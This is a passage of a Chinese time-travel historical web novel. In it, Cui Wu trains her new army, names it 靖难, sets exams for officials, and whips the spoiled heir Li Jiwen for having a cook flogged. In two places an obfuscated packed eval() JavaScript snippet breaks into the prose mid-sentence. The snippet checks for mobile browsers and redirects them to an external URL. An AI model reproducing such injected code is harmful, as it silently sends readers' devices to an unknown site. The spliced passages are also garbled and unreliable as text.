颜适不以为意:“汉武年间,剽姚校尉深入大漠、功冠全军,也不过十八。我虽比他小三岁,打过的仗可不比他少,说不准到了他的年纪,也能封个冠军侯当当。” 秦萧:“想让谁给你封?晋帝?” 颜适变了脸色,狠狠一口唾沫啐在地上:“呸!拿自家地盘孝敬胡人的瘪犊子,领他的敕封?平白脏了小爷耳朵!” 秦萧失笑。 颜适还有些不忿,幸好这时,崔芜到了。 她今日不仅换了男装,更披上改小的皮甲。长发束作马尾,随风高高扬起。脚上蹬一双同样改小的乌皮六合靴(1),包裹住纤细小腿,往那儿一站顾盼生辉,明艳中自有一股飒爽气度。 “兄长!”她仿着武人礼节,对秦萧抱拳,“久候了。” 秦萧掠过一眼,飞快转开视线,欠身回礼。 崔芜此行原是打算借秦萧治军多年的经验,替她挑挑毛病,讲解起来格外细致:“新兵入营,最怕人心散漫,不服军纪。我命军法官每日诵读军纪,又令他们背诵抽查,就是要让他们知晓,军营不比其他地方,容不得随心所欲,想做什么做什么。” “如今天气炎热,新兵住营帐倒还好。待到冬日,北风大盛,再住帐篷难以御寒。趁现在天好,我让新兵操练之余,轮换着挖窑洞,或于平地上挖取深坑,或用土胚和麦草泥浆砌成基墙,一屋正好住下一什人。” “如此待得冬日,屋里铺上厚厚稻草,再点上火塘,便能熬过严寒。” 秦萧不动声色,问道:“粮草如何安排?” “单设一营存运粮草,每日有士卒巡逻,老人与新兵穿插着来,”崔芜说,“到了饭点,火头军取粮做饭,需有巡逻士卒在旁监督。饭做好后,也是当日负责的火头军先用第一口,过两刻钟无碍,再分与士卒。” 她自己就是大夫,比任何人都清楚“病从口入”的道理。此举虽然繁琐,却能避免居心叵测之人投毒。 秦萧微微颔首。 颜适眼神发亮,显然颇有获益。 说话间,一行人来到校场,两队人马正在混战,目标都是对方军旗。 值得一提的是,这两队人马所用阵型,正是当初夺取华亭时立下大功的鸳鸯阵。 颜适本就灼亮的眼越发似烧着一般,若非秦萧在侧,恨不得飞身下场,亲自过一把夺旗的瘾。 秦萧瞧了片刻,便知长短兵刃变化配合之妙远超想象,只是新兵操练日短,还未得其精髓,连十之二三的威力都没发挥出来。 饶是如此,依然让华亭守军吃尽苦头,其玄妙可见一斑。 他看崔芜:“这是你想出来的?” 崔芜还没这么大的脸,将前人智慧归到自己名下,干咳两声才道:“不是。是前朝一位名将抗击海寇时想出的,我不过是借用一二。” 秦萧当了真,思忖片刻道:“前朝数得着的名将,秦某大都听过名号,其功勋事迹也略略知晓,却从未见过如此阵法。敢问是哪朝名将,姓甚名谁?” 崔芜:“……” 没听过是对的,倘若这个时空的朝代发展与她所知晓的相同,这位名将少说也得六百年后才呱呱坠地。 “时日久了,我也记不太清,只知他姓戚,是凤阳定远人士,”崔芜打哈哈,“其实我只记得大致阵型,对于迎战时的诸般变化一无所知,全靠士卒自己摸索。若是换做兄长领兵,夺取区区一个华亭县城,想必不至于费那许多功夫。” 秦萧听出她有意给自己戴高帽,也猜到她这么说的缘由,故意不接茬。 谁料崔芜脸皮之厚,非寻常女子可及。秦萧越不搭理她,她越往前凑,火辣辣的目光追着人家:“兄长……” 秦萧鸡皮疙瘩掉了一地。 35. 第三十五章 靖难 北地女子不比江南佳丽娇羞婉约,泼辣干练者有之,刁横蛮野者亦有之。 可如崔芜这般,顶着玉京仙子的皮囊,却用火热直白的眼神打量男人,好似要将对方一口吞下的…… 秦萧还是第一回见,好生长了见识。 崔芜的眼神太热情、太饥渴,以至于秦萧明知她另有所图,仍不由自主地转开视线。 总觉得与她对视久了,就会被那对眼灼伤、灼痛似的。 “你好好说话!” 崔芜清了清嗓子,试着寻回“好好说话”的调门:“河西乃战略冲要之地,这些年没少受觊觎,之所以未曾落入外邦之手,全赖兄长及麾下安西军将士镇守其间,击退虎狼窥伺。” “窃以为,论及军队战力,兄长的安西军称第二,中原之地无人敢称第一!” 这话是恭维,亦是崔芜真心所想,因此说来格外诚恳。 颜适扬起下巴,不知秦萧作何想,反正自己是被她一番马屁拍得舒服极了。 秦萧比颜适老成,面上不动声色:“直说,你想要什么?” 崔芜便知,自己那点小心思没逃过秦萧法眼。 幸而她脸皮厚,并不觉得尴尬,态度越发谦恭诚恳:“我手中这支队伍原是仓促招募而成,论精锐论战力,莫说兄长的安西军,便是随便一支杂牌军队都比不了。左右兄长想看鸳鸯阵操练之法,不如在此盘桓数日,一则研习阵法玄妙,二来也能指点我治军不足之处。” 秦萧淡笑:“只是指点?” 崔芜:“……” 心里知道就行,非得把话挑明吗? 好吧,她就是想蹭秦萧治军的本事,好好磨磨这支临时凑起的新军,不成吗? “不让兄长白出力,”崔芜说,“我愿将鸳鸯阵的图纸绘出,赠与兄长。” 亲兄弟尚且明算账,何况她与秦萧只是半路兄妹?不拿出点切实的好处,光让人家白干活,崔芜自己也不好意思。 “还有,”她想了想,以秦萧的眼光,旁观这许久,大约已将鸳鸯阵的门道摸得七七八八,单凭一份图纸还不足以表明诚意,于是补充道,“我擅治金簇,愿将外伤医治之道记录纸上,送与兄长。若不然,等陇州平定,我亲自去一趟河西,手把手教导军医也成。” 这一回,秦萧货真价实地心动了。 他亲眼见识过崔芜治疗外伤的本事,尤其是缝补血脉的手法,堪称神乎其技。这段时日,他有事没事去伤兵营转悠,发现那十五个重伤新兵无一死亡,全都挺了过来。 被缝补血脉的那位更是走了大运道,一开始连发两日高烧,军医见了直摇头,都以为没救了。崔芜却不肯放弃,又是针灸又是灌汤药,硬是将人从阎王殿拖了回来。 待得退了烧,知道饿了,连喝三日粥汤,这几日不说生龙活虎,起身行走却是毫无问题。 几个军医瞧了,都大呼“奇迹”,越发卖力地跟在崔芜身边转悠,巴望着从她手上多学些医治外伤的法门。 “据秦某所知,医术多为家传,行医者大都不愿将所学本事传于外人,”秦萧看着崔芜,“你当真愿意?” 崔芜笑了:“医术本就是用来治病救人的,若能流传出去,便可医治更多病患,救回更多人命,岂非善事?” 她会在被人阻拦生路时毫不犹豫地下杀手,可一旦拿起缝合伤口的针线,也从未忘记自己大夫的身份。 “生命为至高无上的尊严,我将本着良心与尊严行医,以病患的健□□命为首要顾念。”(1) 这是她入医学院之初,庄重发下的誓言。 武侠片里的“三不治”,是对行医者的辱没,有些基本道德,不会随着时代迁移而改变。 至少崔芜是这样认为的。 秦萧眼底掠过震动,也许崔芜不乏刻意示好的意图,但她能说出这样一番话,其胸襟眼界已是常人无法比拟。 有那么一时片刻,秦萧忍不住想起远在江南的孙彦,镇海军节度使之子,未来的江南之主,可知道自己看上的是怎样一个女子? 若他知晓崔芜身怀的才学见识,又可会后悔当初色迷心智,一味用强逼纳,反而逼走一员智将? 然而下一刻,秦萧又否定了自己的想法。 不,以崔芜的心性傲气,纵然孙彦肯怀柔施恩,她也未必看得上孙家父子为人手段,多半还是要走。 区别只在于,她是另投明主倾力辅佐,还是自立门户独霸一方。 秦萧看着校场训练的一千精锐,有了答案。 大鹏一日同风起,扶摇直上九万里(2),她终究不是屈居人下之辈,只是缺了时运与积淀。 若有人助她一臂之力,会如何? 再一次的,秦萧很想看看,眼前女子能在举步维艰的乱世中走出多远。 “可以,”他说,“但要附加一个条件。” 崔芜:“什么条件?” 秦萧看着她:“我要北地舆图。” 崔芜:“……” 早知道就不把舆图拿出来招摇过市了。 但有筹码总比没有强,她咬了咬牙:“我没去过晋都以西,只能绘出河西至河东地貌。” 秦萧笑了笑:“可。” 他看向颜适,后者得了允准,立时如脱笼虎豹,纵身跃入战圈。他捡起一根无主毛竹,左右横扫,竟是同时挡开两队攻势。 “有什么本事,尽管使出来!”少年悍将大笑,“且让我瞧瞧,陇州王军,究竟战力几何!” 两支队伍发一声喊,同时冲了过去。 *** 军营午时准点开饭,可当火头军拎着木桶来到校场上时,却发现往日里如狼似虎的新兵居然没第一时间围过来。 这是转了性了? 再一瞧,好家伙,有一个算一个,都围着校场聚精会神,时不时发出震天的叫好声。 瞧什么这般入神,饭都顾不上吃了? 火头军好奇,也跟着探头探脑。 无数双眼睛锁定在两道交缠身影上,一个是军中公认的第一猛将延昭,另一个则是少年将军颜适。 这场比试乍一看实力悬殊,盖因延昭有胡人血统,生得威武雄壮、肌肉丰隆,纵然一句话不说,站在那儿便自带极慑人的压迫感。 反观颜适,年方十五的少年,个头已经长起,骨肉却还单薄得很。两厢对照,简直像是巨熊之于山猫一般惨烈。 真打起来似乎也的确如此,延昭拳风虎虎生威,且脚步灵活,一招快似一招,逼得颜适连连后退。 观战的人群中不时传出议论声—— “我看这小子不行了。” “延校尉好大的气力,莫说那小子,便是虎豹熊罴也吃不住一拳头!” “我赌他最多再撑一炷香。” “哪用得着一炷香?十招……哦不,最多二十招!” 新兵议论时没收声,崔芜都听见了。她没练过武,也瞧不出什么名堂,只看出延昭攻势甚猛,拳风好似滔天巨浪,将颜适裹挟其中,竟是只有招架之功,而无还手之力。 但她谨慎惯了,未见全貌前轻易不开口,尤其见秦萧神色平静,甚至有点泰然自若的意味,全然不像是为下属担心的模样,便知这场比试没那么简单。 果然,再过须臾,只听秦萧道:“你的人要输了。” 崔芜惊讶,她完全看不出,明明延昭还占着上风:“你没蒙我吧?” 秦萧横了她一眼。 崔芜:“……” 好吧,至少认识到现在,除了隐瞒身份,他还没对她说过瞎话。 秦萧话音落下不过两息,颜适已然摸清延昭拳路,瞅准招式间的空隙欺身上前,翻掌扣住他手肘和肩膀关节。 这是出自安西军中的擒拿法,只需将手腕别至身后,便能锁死关节,纵是一头虎豹也使不上力气。 延昭知晓厉害,立刻气沉丹田,手臂好似铸铁一般,全力与颜适抗衡。谁知发力的一瞬,自肩膀手肘传来的力道突然消失,延昭收势不及,身不由己地踉跄半步。 就是这半步,分出了输赢。 颜适极迅捷地闪在一旁,抬腿踹上他膝弯处。这一脚看似轻巧,实则时机、力道拿捏精准,正卡在延昭重心失衡的瞬间。 “砰”一声巨响,尘土飞扬,男人高大的身影扑倒在地,啃了满嘴沙子。 颜适大笑:“是谁输了?都给我叫师父!” 延昭狼狈地爬起身,那一跤跌得不重,倒不至于受伤,只是众目睽睽之下,难免有损颜面。 他脸上挂不住,闷声闷气道:“你使诈,这不算!咱们再来比过!” 颜适却道:“你别不服气!战场之上,放倒敌人是最要紧的,谁管你使不使诈?难不成,你去和拿着刀的敌人说,你方才使诈不算,咱们再来过?” 延昭怒容倏敛,露出若有所思的神气。 “你今日输给我不要紧,我总不会真要你性命,”颜适说,“来日沙场相见,敌人可不会听你分辩,一招之差,定的就是生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597310|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死!” 延昭虽憨直,却并非听不进道理,细细寻思片刻,抱拳行礼:“你说得对,是我输了!” 他肯低头认输,不伤两方和气,便是最好的结果。 所有人不约而同地松了口气。 一旁观战的崔芜连连拊掌:“颜将军说得是,咱们今日跌跟头,为的是来日战场上不失足!今日且用饭,等明日咱们再比过,到时可不会让你赢得这般轻松了。” 颜适看向秦萧,见自家主帅没有反对的意思,这才挑眉一笑:“放马过来!谁再输,谁就得跪地上喊爷爷!” 一句话挑起若干不服输的心思,连延昭眼底亦重燃战火:“好,一言为定!” 崔芜可没汉子们那么好的精神头,在校场边观战半天,肚子早饿了。她自有帅帐,本不必如军汉们一般席地而坐,只是她不肯,一定要与士卒同甘共苦。 她打出“歧王郡主”旗号,看在军汉眼里便如天上云一般尊贵,又生得美貌,却肯与底层士卒一般蹲在校场上用饭,给人的触动绝不止一星半点。 一时间,军汉们简直有点坐立难安,到底寻来两把胡床,其实就是后世的马扎,请崔芜与秦萧坐下。 秦萧久在军中,并不介意这些,径自撩袍坐下。抬头见崔芜接了亲兵递来的饭食——一张胡饼,一份蒸饼,也就是后世常见的馒头,还有一碗热气腾腾的菜汤,就这么哧溜哧溜地吃起来。 再看看周围,新兵们的饭食也差不多,只是分量比崔芜多,想来是男子饭量更大的缘故。 倒不是说不好,乱世之中,能吃上这些已经超出一多半的人,至少流民出身的军汉们是心满意足,再无挑剔。 可崔芜是女儿家,还曾……总该吃些好的补养身子。 他沉思的时间有些长,崔芜会错了意,探头瞅他:“怎么,可是饭食不合胃口?” 不待秦萧开口,她左右看了看,见没人留心这边,从怀里摸出一物,飞快塞进秦萧手里:“把这个夹蒸饼里,可香了。” 秦萧定睛细看,顿时无语,只见崔芜塞给他的是一只圆滚滚的鸡子。 “军中条件简陋,怠慢兄长了,等明日回县衙,再请兄长吃顿好的,”崔芜忽闪着眼睛对他笑,“如今华亭方定,百姓也困苦着,不好太讲究吃穿。给我两年时间,定让兄长大饱口福。” 秦萧没说话,低头磕了蛋壳,仔细剥出蛋清,却是丢进崔芜碗里:“秦某一个大男人,吃好吃坏不妨事。倒是你底子薄,原该吃好些。” 崔芜没跟他客气,捞起鸡蛋咬了一大口。这是纯天然土鸡蛋,蛋黄香醇,白煮的也好吃。 “我有补充营养,没发现我的伙食比其他人好吗?”她偷偷给秦萧看自己的碗,筷子捞了两下,挑出一块羊骨,肉都化在汤里,骨头直接能咬碎,“别说,要不是出来一趟,还不知羊骨头能这么香。羊脊髓更是好东西,能润肺补血,调理虚劳。” 秦萧默默叹息,将自己碗里的羊骨也捞给她。 *** 有了秦萧默许,颜适带着五名亲兵,以“外聘教官”的身份留在军营中。 崔芜不喜欢“王军”的叫法,这让她想起穿越前刷的一部古装剧。旁的倒没什么,只是结局太糟糕——男主遭人陷害至死,麾下王军被打成叛军,女主被逼婚又跳城楼殉情,死时鲜血流了满地。(3) 粉丝们嗷嗷叫唤着“be美学天花板”,感动得痛哭流涕无法自拔,崔芜却只有一个想法:为什么不干死那个狗男二,自己上位垂帘听政? 如今自己当家作主,立刻把晦气的“王军”说法丢到一旁,为图吉利,特意取了个非同凡响的名字。 乱世兵祸曰难,起兵平乱为靖。 故名,靖难。 当众宣布新军名号的一刻,其他人没有异议,唯独丁钰一口热水猛地喷出,咳了个撕心裂肺。 所有人转头看他。 崔芜眼神凶巴巴的,威胁之意再明显不过:“怎么,不好听、不吉利吗?” 丁钰:“……” 当着旁人的面,丁六郎没敢多说什么,只是在众人退下后,实在没忍住腹诽心声,小声吐槽道:“你就不怕永乐大帝知道了,提前四百年出生,过来找你算账?” 崔芜振振有词:“好歹人家永乐大帝成就了功业(4),总比含冤屈死和半道崩殂的强多了吧?” 这一杆子打下去,从中兴名将到蜀汉烈帝都翻了船(5),杀伤力可谓十足。 丁钰无言以对,默默遁了。 36. 第三十六章 鞭打 搞定了武事,接着便是文事。 王重珂盘踞华亭两年,将偌大县城祸害得不成样子。一县之令尚且被丢进大牢,其他人的下场可想而知。 崔芜接手华亭,势必要选人充塞县衙,尤其她现在势单力薄,急需能人辅佐,选拔人才便成为重中之重。 但是怎么选拔呢? 崔芜自忖不比前人聪慧,想不到更好的法子,只能沿袭老办法:“考试吧。” 众人:“……” “时间有限,没法如前朝那般府试、院试层层向上,就考两场,第一场为笔试,题目许令斟酌。第二场由我亲自面试,敲定之人即刻入职。” 崔芜拍了板,又看向许思谦:“此事干系华亭乃至陇州日后吏治,对民生亦有莫大影响,许令可要多上心。” 许思谦一阵激动。 其实崔芜所占之地不过两县,麾下兵力也仅有一千,可她张口就是“吏治”“民生”,让人隐隐有种错觉,仿佛她为所有人描绘了一幅极漫长恢宏的画卷,如今展露的不过是冰山一角。 可她不过一女子,哪来这么大的野心与口气? 许思谦来不及细想这些,点头应了:“是,必不负郡主所托。” 崔芜又看向丁钰:“你不是一直叫唤没人可用?趁着这回选拔考试,你也出几道题,不拘年貌出身,但有能答上的,便派给你做帮手。” 丁钰是理工生,一个理工男穿越后最大的梦想是什么? 火药和燧发枪必然高居榜首! 执念程度几乎与青霉素之于医学生不分上下。 “明白,你就瞧好吧,”丁钰开始挽袖子,颇有大干一场的架势,“老子等这一天等好久了!” 许思谦被他这土匪画风惊住,一口茶水呛在喉咙里,咽不是不咽也不是。 但他毕竟是后来投靠的,不比丁钰一路跟随情分深厚,因此纵有再多的劝谏和腹诽也不曾表露,反而客气拱手:“早听闻济阳丁氏之名,往后还请六郎君多指点。” 丁钰嘿嘿一笑:“好说好说,指点谈不上,咱们术业有专攻,文理搭配干活不累。” 许思谦:“……” 这说的是哪国鸟语? 虽然许县令被丁六郎君不走寻常路的画风弄懵了,一日后,告示还是张贴在县衙门口,更有士卒敲着铜锣,走街串巷挨户告知:“郡主有意选拔人才以充府衙,凡有才之士,不论年貌出身,皆可应试参选。” 自前朝覆灭,科举形同虚设,各方豪强皆凭枪杆说话,谁把读书人放在眼里?即便装模作样地考几回试,名额也多被豪门大族预定,哪有寒门士子的份? 消息一放出,华亭县城顿时轰动了。但凡读书识字的,从本地人到外来流民,都争抢着应试。 万一考上了呢? 告示上可说了,选中者即刻授官,相当于鱼跃龙门,从白身变为官身。虽说华亭承认的官身,旁的势力未必肯认,含金量算不得高,但告示还说,选中者每月有粮食俸禄可拿,这是实打实的好处,不要白不要! 于是考试当天,应考者排成长队,好似一条长龙,从“府院”门口一路甩到街尾。 “府院,”秦萧玩味着这两个字,失笑,“实占不过两县之地,就敢称府,口气不小。” 前朝以府县为基本行政单位,简单说来,“府”相当于后世的地级市。崔芜以两县之地而自称“府院”,野心可见一斑。 彼时,两人站在街口,将府院门口熙熙攘攘的景象尽收眼底。那其实就是县衙附近的一处空宅,宅子原本的主人已成刀下亡魂,崔芜干脆命人打扫干净,充作考试场所。 秦萧抖开手中麻纸,上面抄录了本次选考试题,内容与前朝科举大同小异,无非是帖经与策问,也就是考察经书默写和对时政事务的见解。 有意思的是除此之外,还有几道自选题,内容十分驳杂,从应用算数到行军布阵,甚至连农学、木工都有涉猎,着实让秦萧开了眼界。 “秦某记得,前朝女帝当政期间曾设武举,且君子六艺包括射、数,考校也算情理之中,”秦萧沉吟道,“但农学与木工……” 崔芜明白秦萧的顾虑,古来读书人自视甚高,鲜少将农夫匠人放在眼里。让他们去答农学、木工的题目,就像米其林三星酒店上了一道酸菜炖血肠,怎么看怎么格格不入。 “民以食为天,粮食从哪来?还不是农人辛辛苦苦耕种的,”崔芜说,“要在乱世立足,农耕至关重要。粮食不够吃,什么宏图伟业都是白日说梦。” 秦萧认可了她的说法,又问:“木工呢?” 崔芜笑了笑,避重就轻道:“只是一个想法,待做成了,再详细说与兄长听。” 事实上,她不仅想寻擅长木工的匠人,凡事懂采矿、会冶炼、擅铸铁的,崔芜都想网罗麾下。 国之根本,在于农桑。国之命脉,当属盐铁。 陇州位置虽偏,地方却好,西出萧关便是陇山,山中藏有铜矿。往南至凤县,更蕴有丰富的铁矿。 只可惜陇州全境尚未归入崔芜麾下,东边还有个伪王虎视眈眈,短时间内腾不出手。 明明手边躺着这么大一块肥肉,却只能看不能吃,愁人! “还是要尽快扫平陇州,”崔芜想,“若是可以,最好连伪歧王也一块干趴下,否则战战兢兢,总是不能放心大胆发展生产。” 幸好甘肃有盐池,而河西之地又在秦萧的实控之下,不然崔芜少不得要打北边主意,琢磨着怎么将陕北盐池拿下。 她这边放飞思绪,自西向北兜了一大圈,忽听着急忙慌的脚步声从街口传来。她回过头,只见阿绰跑得气喘吁吁,两只手撑在膝盖上,好半晌才道:“主子,您、您快回去看看……” 崔芜皱眉:“出什么事了?” 阿绰瞧了秦萧一眼,神色踟蹰。 秦萧会意,对崔芜道了声“有事先走一步”,便带着亲随往另一边去了。 崔芜看向阿绰:“现在能说了?” 阿绰压低声:“是……小郎君。” 崔芜拢起眉头。 “小郎君”就是歧王遗孤,大号李继文,为着好养活,取了个小名叫阿宝。荀乳娘天天“宝儿”“宝儿”叫着,伺候的人却不敢效仿,依然规规矩矩地喊一声“世子”。 但那是先歧王在世时,如今伪王占了凤翔,不遗余力地追杀先歧王血脉。李继文与荀乳娘成了人人喊打的过街老鼠,过了好些颠沛流离担惊受怕的日子,再不敢奢想昔日富贵。 谁知遇到了崔芜,就此时来运转。 荀乳娘知道崔芜并非歧王血脉,但这不耽误她借崔芜之手为自家郎君谋一个好前程。随后发生的事印证了她的想法,崔芜借先王名号拿下华亭与吴山,俨然要将整个陇州收入囊中。作为歧王唯一的子嗣,小郎君也被接回华亭,好生奉养起来。 这让过够了逃亡日子的荀乳娘长长松了口气。 但这日子一好过,人就容易作妖。 荀乳娘或许知分寸、懂进退,明白如今的安宁日子是崔芜给的,不敢轻易招惹对方。八岁的孩童却不懂这些。 李继文本是先歧王独子,父亲在位时受尽尊荣宠爱。他不懂什么叫篡位,只知道有一日,府里突然挂了好多白幡,堂上设着灵牌香烛,黯淡的颜色看得人心里发慌。 自那一日之后,再没有疼爱他的父亲,没有围着他打转嘘寒问暖的下人,更没有漂亮的丝绸衣服和华丽的大屋,有的只是无休无止的逃亡、被人追杀、死尸和鲜血,以及或腐坏或干硬到几乎无法下咽的食物。 李继文做梦都想回到父亲还在的时候,想过富贵太平的日子,当尊荣无双的世子。好容易认了个“姐姐”,这个姐姐又与父亲一样,占了地盘、手下有兵,府里虽说不上多堂皇,好歹也有下人供他使唤。 他原本被逃亡磨平的熊孩子脾气立刻死灰复燃,并且因为之前的吃苦受罪,报复性地变本加厉。 那么,他到底干了什么? “今日厨房送去午食,小郎君不满意,嚷着要吃浑羊殁忽。这……咱们连这菜名都没听过,哪知道怎么做?只好说做不了。小郎君发起脾气,竟、竟……” 崔芜脚步飞快地往县衙赶去,口中问道:“竟如何?” 阿绰很是委屈:“竟命人将今日做饭的厨娘绑在树上,用鞭子抽。” 崔芜眉头顿时皱紧了。 不怪阿绰不知道“浑羊殁忽”,那原是前朝宫廷的一道名菜,《卢氏杂说》里有记载(1),烹饪时需宰杀活鹅,去掉羽毛和内脏,将调制好的糯米饭和香料塞入鹅腹。随后再宰一头羊,同样剥皮去内脏,将鹅塞进羊肚子,把羊放在火上烤。等羊肉烤熟后,取出鹅肉食用,却将羊肉弃之不用。 如此奢靡浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603302|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吃法,莫说厨房不会做,便是会做,崔芜也断断不允许靡费食材。 “然后呢?”她问,“今日下厨的是谁?不会真把人绑起来了吧?” “是陈二娘子,”阿绰说,见崔芜面露迷茫,又小声解释道,“就是之前被王重珂抓来的陈家姐姐。” “因着厨房原来的冯师傅要为伤兵熬汤水,忙不过来,正好陈二娘子会些做饭手艺,主动在厨间帮忙,没想到……” 没想到点这么背,刚好赶上小魔星寻人做阀子,成了第一个倒霉蛋。 崔芜揉了揉突突乱跳的额角。 “我记得,府中护卫一多半是随我入关的,怎么肯听旁人吩咐?”她眼神沉冷,实在是对挑事的熊孩子无甚好气,“连个小崽子都治不住?” 阿绰张了张嘴,又被话憋了回去。 崔芜:“照实说。” 阿绰憋了一会儿,实在没憋住,未语眼先红:“小郎君说,要是咱们不听她的吩咐,她就告诉旁人,主子不是歧王血脉,是、是不知从哪来的野种,假借他父王之名作威作福,还敢苛待于他!” 崔芜头一回被熊孩子威胁,生生气笑了。 荀乳娘清楚崔芜的底细,瞒谁也不会瞒着自家郎君。偏偏说者无心听者有意,那歧王遗孤熊归熊,人却是真聪明,知道这是要人命的把柄,牢牢记在心里。 看护县衙的亲卫多是随崔芜入关者,虽忠心耿耿,却是平头百姓出身,对上位者的博弈谋算毫无概念。他们知道崔芜并不是什么歧王郡主,也知晓崔芜在用先歧王的名号招兵买马,唯恐正牌血脉当真背后拆台,坏了自家主子大事,这才捏着鼻子忍了。 理清前因后果,崔芜眼神比刀子还冷。 她迈过最后一道门槛,就听院里传来鞭子甩落的呼啸声,还有顽童稚嫩又恶毒的呼喝:“用力!打死她!” 崔芜抬头,一边厉喝“住手”,一边快步上前。 县衙护卫见是她来了,如蒙大赦,赶紧退到一旁,露出被绑在树上的女子。幸而他们也有分寸,挥鞭只是做做样子,并没真往那女子身上招呼。饶是如此,也有没控制好力道的时候,其中几鞭到底扯开布料,在皮肉上落下浅浅血痕。 崔芜一眼瞥见,浑身血液直冲上头顶,劈手夺过马鞭:“谁是你们主子?” 这话问得诛心,护卫们不敢答,麻溜跪倒一片。 崔芜神色冰冷:“记好了,这府里从来只有一个主子。下回再帮着旁人对付自己人,我养不起这样的大佛,只好请你离了华亭另谋高就。” 护卫们打了个寒噤,齐刷刷道:“属下不敢!” 崔芜余怒未消:“自己去找延昭领十军棍,再让他换一批护卫过来!” 这就是免去了几人贴身护卫的职责,是惩戒,也是变相警告,若分不清立场,便连在她手下讨生活的资格也没了。 参与此事的共计五名护卫,闻言自知理亏,也不敢争辩,垂头丧气地解了腰牌和佩刀,交与阿绰,自行离去。 阿绰早将人解下,见状对崔芜道:“主子,我先扶她进屋上药。” 崔芜点了点头。 那熊孩子还在叫嚷:“不许放她走……” 一句话没说完,被乳娘捂了嘴,拖到一旁,又对崔芜讪讪赔笑道:“小孩子不懂事,郡主大人有大量,都是嫡亲姐弟,莫与他一般计较。” 她刻意咬重“嫡亲姐弟”几个字,便是提醒崔芜,你既借用了歧王名号,最好对真正的王室遗脉客气些。崔芜却不吃这一套,冷笑反问:“他不是想昭告天下,让所有人都知道我非歧王血脉,乃是不知来历的野种?” 乳娘脸色大变,没想到孩童不知天高地厚的话语竟传到崔芜耳中,忙找补道:“原是郎君年幼,回头老奴一定好好说他……” “不必了,”崔芜懒得与他们耗时间,直接吩咐道,“来人,把他给我绑树上!” 崔芜身后亦跟了五六亲随,闻言立刻冲上去,从乳娘怀里抢出李继文,便如片刻前的陈二娘子一般,抱着树干绑作一团。 乳娘急疯了:“你要做什么?他还是个孩子,你……” “他是孩子,不代表他能随意伤害别人,更不意味着他有特权居高临下践踏旁人!”崔芜斜睨着乳母,冷冷道,“你不会教孩子,我自来替你教!” 言罢,从亲随手中抢了马鞭,一鞭抽上李继文臀部。 37. 第三十七章 不仁 李继文被打懵了。 他就算逃难途中,也有乳娘倾心呵护,追捕的各方势力看重他“歧王血脉”的利用价值,也不会随意打骂。仔细算来,这竟是他有生以来头一回挨打,当下嗷一嗓子险些嚎破了音:“你打我!我要告诉他们,你根本不是我爹的孩子!你也不是我姐姐!你就是个野种!” 乳娘面色惨白,想要阻止,却被亲随塞住了嘴。 崔芜不恼不怒,只冷笑反问:“你以为他们不知道吗?” 李继文愣住。 “或者我换一个问法,你以为我攻克华亭,手握二县,靠的是那劳什子的歧王血脉吗?你倒是歧王正脉,让你来打华亭,你打得下吗?” 李继文再聪明也只是个孩子,从没想过这些,或者说,以他的见闻也根本想不明白,只管眼神呆怔地瞧着崔芜。 “血统于我不过是个噱头,能有自然省力,没有也碍不了多少事,”崔芜一指门口,“不是要告诉所有人,我是冒牌货?我给你机会,现在就去!” “正好,顶着这个郡主名头,不知什么时候就会招来伪王报复,干脆我先下手为强,把你交给他,说不定那伪王见我懂事,就将陇州送与我了,不比我自己苦哈哈打地盘强?” 李继文从没想过这些,在他有限的记忆中,除了歧王府的锦衣玉食,就是没日没夜的逃亡、追杀、软禁。 没人对他说过这些,也没人教导过他,什么叫“审时度势”,什么叫“人在屋檐下不得不低头”。 但他毕竟不蠢,乳娘也告诉过他,自己家破人亡,被迫从金尊玉贵的王府世子变成遭人追杀的逃犯,都是拜伪王所赐。他不可以被伪王抓住,否则歧王血脉便会就此断绝。 他不想死,因为直面过追杀和尸体,甚至比任何人都畏惧。 “我错了,”熊孩子怂了,哪怕并不很清楚自己做错了什么,却凭直觉意识到,眼下最好的选择就是认错,“姐姐,我再不敢了!” 崔芜自己就是从熊孩子过来的,没那么容易被他蒙住:“你错哪了?” 李继文傻眼了。 他其实并不觉得自己做了多过分的事——当初在岐王府,惩治下人的手段比这严厉的多的是,打几鞭子算什么? 他支支吾吾道:“我、我不该惹姐姐生气?” 回应他的是毫不留情的一鞭子。 李继文痛彻心肺,险些嚎破了嗓子。 “你确实不该惹我生气,你能活到现在,不是因为什么狗屁的歧王血脉,而是我心肠没有狠到家,没法眼看着妇孺去死,”崔芜冷冷道,“但你说的没错,我借用了先歧王名号,这是我欠你的。看在这点情面上,只要不出格,在我能力范围内,我会尽量容忍你,为你提供最好的生活条件。” 李继文想说“那你现在还打我”,可惜有贼心没贼胆。 “我教训你,是因为你自负歧王血脉,却没做到一个君王该做的事,”崔芜继续说,“欲流之远者,必浚其泉源。思国之安者,必积其德义。你自诩王室血脉,却不思仁德,反而仗着身份高贵欺凌旁人,你父王要是跟你一个德性,说明他王位丢得并不冤!” 李继文最崇拜亡父,每每想着若父亲还在,必不会让人如此欺辱我。听崔芜这么一说,他简直出离愤怒:“不许你说我父王坏话!” 但是屁股上的鞭子打散了你的怒火。 “若你父王不是这样的人,那便是他太宠着你,把你宠坏了,”崔芜说,“你既叫我一声姐姐,我就要替他好好管教你。” 